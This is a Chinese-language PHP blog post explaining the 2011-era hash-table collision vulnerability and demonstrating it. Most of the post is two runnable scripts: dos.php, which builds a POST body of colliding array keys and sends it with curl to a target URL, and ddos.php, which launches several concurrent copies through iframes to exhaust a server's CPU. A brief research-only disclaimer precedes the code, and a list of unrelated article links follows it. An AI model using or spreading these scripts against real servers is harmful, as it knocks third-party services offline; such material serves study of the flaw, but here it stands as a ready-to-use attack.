PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
excellent!――ASCII Art(由目标图象生成ascii)
Feb 20 PHP
用PHP生成静态HTML速度快类库
Mar 18 PHP
php正则preg_replace_callback函数用法实例
Jun 01 PHP
php中session_id()函数详细介绍,会话id生成过程及session id长度
Sep 23 PHP
php精确的统计在线人数的方法
Oct 21 PHP
php+ajax无刷新分页实例详解
Dec 07 PHP
php封装的smarty类完整实例
Oct 19 PHP
ThinkPHP实现附件上传功能
Apr 27 PHP
解决laravel上传图片之后,目录有图片,但是访问不到(404)的问题
Oct 14 PHP
基于PHP实现短信验证码发送次数限制
Jul 11 PHP
php命令行模式代码实例详解
Feb 26 PHP
PHP 实现链式操作
Mar 09 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
PHP 观察者模式的实现代码
2013/05/10 PHP
CentOS下PHP7的编译安装及MySQL的支持和一些常见问题的解决办法
2015/12/17 PHP
[原创]php token使用与验证示例【测试可用】
2017/08/30 PHP
会自动逐行上升的文本框
2006/06/30 Javascript
浅谈javascript中的作用域
2012/04/07 Javascript
jquery学习总结(超级详细)
2014/09/04 Javascript
jQuery实现的五子棋游戏实例
2015/06/13 Javascript
JS中split()用法(将字符串按指定符号分割成数组)
2016/10/24 Javascript
微信小程序tabbar不显示解决办法
2017/06/08 Javascript
vue 请求后台数据的实例代码
2017/06/22 Javascript
详解React开发必不可少的eslint配置
2018/02/05 Javascript
javascript实现日历效果
2019/06/17 Javascript
使用JS来动态操作css的几种方法
2019/12/18 Javascript
Python中的文件和目录操作实现代码
2011/03/13 Python
Python计算回文数的方法
2015/03/11 Python
总结Python中逻辑运算符的使用
2015/05/13 Python
Google开源的Python格式化工具YAPF的安装和使用教程
2016/05/31 Python
python3 selenium 切换窗口的几种方法小结
2018/05/21 Python
Python for循环中的陷阱详解
2018/07/13 Python
python自动化之Ansible的安装教程
2019/06/13 Python
python闭包、深浅拷贝、垃圾回收、with语句知识点汇总
2020/03/11 Python
Python嵌入C/C++进行开发详解
2020/06/09 Python
python制作抽奖程序代码详解
2021/01/15 Python
css3学习系列之移动属性详解
2017/07/04 HTML / CSS
CSS3实现文本垂直排列的方法
2018/07/10 HTML / CSS
Dodax奥地利:音乐、电影、书籍、玩具、电子产品等
2019/08/31 全球购物
大学生创业感言
2014/01/25 职场文书
汉语言文学职业规划
2014/02/14 职场文书
3.12植树节活动总结2014
2014/03/13 职场文书
关于保护环境的建议书
2014/05/13 职场文书
电教室标语
2014/06/20 职场文书
暑期社会实践心得体会
2014/09/02 职场文书
安全教育片观后感
2015/06/17 职场文书
总经理2015中秋节致辞
2015/07/29 职场文书
PostgreSQL事务回卷实战案例详析
2022/03/25 PostgreSQL
Python Flask实现进度条
2022/05/11 Python